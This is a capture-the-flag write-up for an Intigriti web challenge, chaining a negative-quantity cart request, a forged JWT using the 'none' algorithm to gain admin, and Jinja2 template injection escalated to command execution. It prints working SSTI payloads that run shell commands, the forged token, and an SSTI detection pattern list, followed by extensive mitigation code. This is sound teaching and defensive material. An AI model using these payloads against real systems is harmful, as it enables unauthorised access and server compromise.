Intigriti — 2025.11.19

Intigriti November Challenge: SSTI to RCE

Intigriti Server-Side Template Injection (Jinja2) to RCE hard

Scope

This challenge runs from 17/11/2025 1:00 PM until 24/11/2025, 11:59 PM UTC. Out of all correct submissions, we will draw six winners on Wednesday 26/11/2025:

  • Three randomly drawn correct submissions
  • Three best write-ups

The solution:

  • Should leverage a remote code execution vulnerability on the challenge page
  • Shouldn’t be self-XSS or related to MiTM attacks.
  • Should require no user interaction.
  • Should include:
    • The flag in the format INTIGRITI{.*}
    • The payload(s) used
    • Steps to solve (short description / bullet points)
    • Should be reported on the Intigriti platform.

Initial Reconnaissance

Tools Used

  • Burp Suite Professional (request interception & tampering)
  • JWT.io / jwt_tool (token analysis)
  • Browser DevTools (network analysis, cookie manipulation)

Application Fingerprinting

  • Framework Detected: Flask (Python)
  • Template Engine: Jinja2
  • Authentication: JWT-based

Discovery: Request Tampering (Negative Amount Charging)

While testing normal charge functionality, I intercepted the request in Burp Suite:

Original Request:

POST /cart/add/1 HTTP/2
Host: challenge.-1125intigriti.io
...
quantity=1

Modified Request (Testing for validation):

POST /cart/add/1 HTTP/2
Host: challenge.-1125intigriti.io
...
quantity=-1000

Result: Server accepted negative value without validation, allowing a charge back and crediting account instead of debiting. Impact: Business logic bypass, potential for unlimited account credit.

Discovery: JWT Algorithm Confusion Attack (None Algorithm)

Step 1: Token Analysis Captured JWT from login response:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo1LCJ1c2VybmFtZSI6ImhheG9yIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjM1OTM0OTN9.8jAUDow1hjJRL-4Vo3KpmRfCsLqh0D8yuizWV54zSWg

Decoded payload:

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "user_id": 5,
  "username": "haxor",
  "role": "user",
  "exp": 1763593493
}

Step 2: Exploitation Attempt Tested if server accepts “none” algorithm (CVE-2015-9235): Modified header:

{
  "alg": "none",
  "typ": "JWT"
}

Modified payload:

{
  "user_id": 1,
  "username": "admin",
  "role": "admin",
  "exp": 1763593493
}

Crafted Token:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjoxNzYzNTkzNDkzfQ.

Important: Note the trailing dot with no signature!

Step 3: Verification Replaced cookie value and accessed /admin endpoint -> Success!

  • We now have admin access without admin creds.

Discovery: Server-Side Template Injection (SSTI) - Jinja2

Initial Detection

Test 1: Basic Template Syntax Input: {{ 7*'7' }} Output: 7777777 Confirmed template injection Likely Jinja2 template engine

Further Confirmation: Framework & Technology Stack Analysis

Module Enumeration To identify the underlying technology stack, I enumerated all loaded Python modules:

Payload:

{{ self.__init__.__globals__.__builtins__.__import__('sys').modules.keys() }}

Key Findings:

Confirmed Technology Stack

Component Technology Version/Notes
Web Framework Flask Full Flask stack detected
WSGI Server Gunicorn Production deployment (not dev server)
Template Engine Jinja2 Default Flask templating
Database ORM SQLAlchemy With Flask-SQLAlchemy extension
Database SQLite3 Embedded database
JWT Library PyJWT Authentication implementation
String Safety MarkupSafe Template escaping library

Application Architecture

Detected Modules:

flask.app              <- Main Flask application
flask.config           <- Configuration (not exposed in template context)
flask.ctx              <- Request/application context
werkzeug               <- WSGI utilities
gunicorn               <- Production WSGI server
jinja2                 <- Template engine

Exploitation

Payload Development

Approach: Since we need RCE, target the os module via Python’s introspection chain:

Chain Breakdown:

  1. self.__init__ - Get initialization method
  2. .__globals__ - Access global namespace
  3. .__builtins__ - Access built-in functions
  4. .__import__('os') - Import OS module
  5. .popen('command') - Execute command

Payload:

{{ self.__init__.__globals__.__builtins__.__import__('os')
   .popen('grep -r "INTIGRITI{" /app 2>/dev/null').read() }}

Data Exfiltration

Locating the flag

Adjust payload to narrow search to common CTF directories

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('grep -r "INTIGRITI{" /home /var /tmp /opt /app 2>/dev/null').read() }}

Flag located!

Extracting the flag

Adjust payload to extract contents of 019a82cf.txt

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /app/.aquacommerce/019a82cf.txt').read() }}

Flag Captured

INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}

Executive Summary

  • Challenge Name: Intigriti November 2025 Challenge
  • Challenge Type: Web Application Security - RCE via SSTI
  • Vulnerabilities Found:
    1. Business Logic Flaw (Negative Charge)
    2. JWT Algorithm Confusion (None Algorithm)
    3. SSTI in Admin Profile (RCE)
  • Final Flag: INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}

Attack Chain Visualization

Step 1: Initial Access
Created regular user account
Explored application functionality
Identified charge feature and admin panel

↓

Step 2: Business Logic Flaw
Discovered negative charge vulnerability
Modified request to charge negative amounts
Bypassed client-side validation

↓

Step 3: JWT Analysis
Captured and decoded JWT token
Identified HS256 algorithm in use
Tested for algorithm confusion vulnerability

↓

Step 4: Authentication Bypass
Modified JWT algorithm to "none"
Changed role from "user" to "admin"
Successfully bypassed authentication

↓

Step 5: Admin Access
Gained access to admin panel
Discovered profile update functionality
Identified potential injection points

↓

Step 6: SSTI Discovery
Tested admin profile field with {{ 7*'7' }}
Confirmed Jinja2 template injection
Developed RCE payload chain

↓

Step 7: Remote Code Execution
Executed OS commands via SSTI
Searched filesystem for flag pattern
Located flag file in /app/.aquacommerce/

↓

Step 8: Flag Retrieved
INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}

Vulnerability Impact Assessment

Vulnerability Severity CVSS Impact
Negative Charge Medium 6.5 Financial loss, account manipulation
JWT None Alg High 8.1 Authentication bypass, privilege escalation
SSTI RCE Critical 9.8 Full system compromise, data exfiltration

Combined Impact: Critical - Complete application compromise with ability to execute arbitrary code, access sensitive data, and manipulate business logic.

Prevention and Mitigation

Request Tampering (Negative Amount Charging)

Protection Measures:

  • Server-Side Input Validation: Implement strict server-side validation that rejects negative values, zero values, or values outside expected ranges
  • Business Logic Checks: Add validation that checks if the transaction makes business sense before processing

Mitigation Code Example:

def validate_transaction_amount(amount):
    if not isinstance(amount, (int, float)):
        raise ValueError("Amount must be numeric")
    if amount <= 0:
        raise ValueError("Amount must be positive")
    if amount > MAX_TRANSACTION_LIMIT:
        raise ValueError("Amount exceeds maximum limit")
    return Decimal(str(amount)).quantize(Decimal('0.01'))

JWT Algorithm Confusion Attack (None Algorithm)

Protection Measures:

  • Explicitly Reject “none” Algorithm: Configure JWT library to reject unsigned tokens
  • Algorithm Whitelist: Only accept specific signing algorithms (e.g., HS256, RS256)
  • Key-Algorithm Binding: Bind keys to specific algorithms to prevent substitution
  • Use Asymmetric Signing: Use RS256/ES256 instead of HS256 when possible

Mitigation Code Example:

# Python with PyJWT
import jwt

# WRONG - Vulnerable
payload = jwt.decode(token, verify=False)  # Never do this!

# CORRECT - Secure
payload = jwt.decode(
    token,
    key=SECRET_KEY,
    algorithms=['HS256'],  # Explicit whitelist
    options={
        'verify_signature': True,
        'require': ['exp', 'iat', 'sub']  # Require critical claims
    }
)

Additional JWT Security Measures:

  • Implement short token expiration times (15-30 minutes for access tokens)
  • Use refresh tokens with proper rotation
  • Add JTI (JWT ID) claim for token revocation capability
  • Implement token binding to specific user agents or IP addresses (with caution)
  • Store sensitive operations in server-side sessions, not in JWT claims

Server-Side Template Injection (SSTI) - Jinja2

Protection Measures:

Primary Defense: Never Trust User Input in Templates

Option A: Eliminate Template Rendering of User Input (Best)

# WRONG - Vulnerable
template = Template(user_input)
output = template.render()

# CORRECT - Just display user input, don't render it
output = escape(user_input)  # HTML escape only

Option B: Use Sandboxed Environment (If Dynamic Templates Required)

from jinja2.sandbox import SandboxedEnvironment

# Create sandboxed environment
env = SandboxedEnvironment(
    autoescape=True,
    trim_blocks=True,
    lstrip_blocks=True
)

# Disable dangerous features
env.globals.clear()
env.filters.clear()

# Only add safe, whitelisted functions
env.globals['safe_function'] = safe_function

template = env.from_string(user_controlled_template)

Option C: Template Precompilation (Recommended)

# Store templates separately from user data
# User can only select from pre-approved templates
APPROVED_TEMPLATES = {
    'welcome': 'templates/welcome.html',
    'profile': 'templates/profile.html'
}

template_name = user_input  # e.g., 'profile'
if template_name not in APPROVED_TEMPLATES:
    raise ValueError("Invalid template")

template = env.get_template(APPROVED_TEMPLATES[template_name])
output = template.render(username=escape(username))

Additional SSTI Protections:

  • Input Validation: Reject input containing template syntax ({{, {%, __, import, eval, etc.)
  • Content Security Policy: Implement strict CSP headers
  • Principle of Least Privilege: Run application with minimal system permissions
  • WAF Rules: Deploy Web Application Firewall with SSTI detection rules

Detection Pattern:

import re

SSTI_PATTERNS = [
    r'\{\{.*\}\}',      # Jinja2 variable
    r'\{%.*%\}',        # Jinja2 statement
    r'__.*__',          # Python magic methods
    r'\.__(globals|builtins|import)__',  # Dangerous attributes
    r'\bimport\b',      # Import statements
    r'\beval\b|\bexec\b',  # Code execution
]

def detect_ssti(user_input):
    for pattern in SSTI_PATTERNS:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False

Defense in Depth Strategy

Application Level:

  • Implement Role-Based Access Control (RBAC) properly
  • Use parameterized queries for database operations
  • Apply the principle of least privilege for all operations
  • Implement comprehensive logging and monitoring

Infrastructure Level:

  • Run applications in containers with restricted capabilities
  • Use AppArmor/SELinux profiles to restrict file system access
  • Implement network segmentation
  • Use read-only file systems where possible

Monitoring & Detection:

# Log suspicious activities
import logging

def log_security_event(event_type, details):
    logging.warning(
        f"SECURITY: {event_type}",
        extra={
            'event_type': event_type,
            'details': details,
            'timestamp': datetime.utcnow(),
            'ip_address': request.remote_addr,
            'user_agent': request.headers.get('User-Agent')
        }
    )

# Example usage
if detect_ssti(profile_data):
    log_security_event('SSTI_ATTEMPT', {'input': profile_data[:100]})
    abort(400, "Invalid input detected")

Summary of Critical Mitigations

  • Never trust client-side data - Always validate on server
  • Never use “none” algorithm for JWTs - Use explicit algorithm whitelisting
  • Never render user input as templates - Separate data from code
  • Implement multiple layers of defense - Don’t rely on single controls
  • Monitor and alert on suspicious patterns - Enable rapid response
#ssti #jinja2 #flask #jwt-none-algorithm #business-logic #rce #intigriti #webapp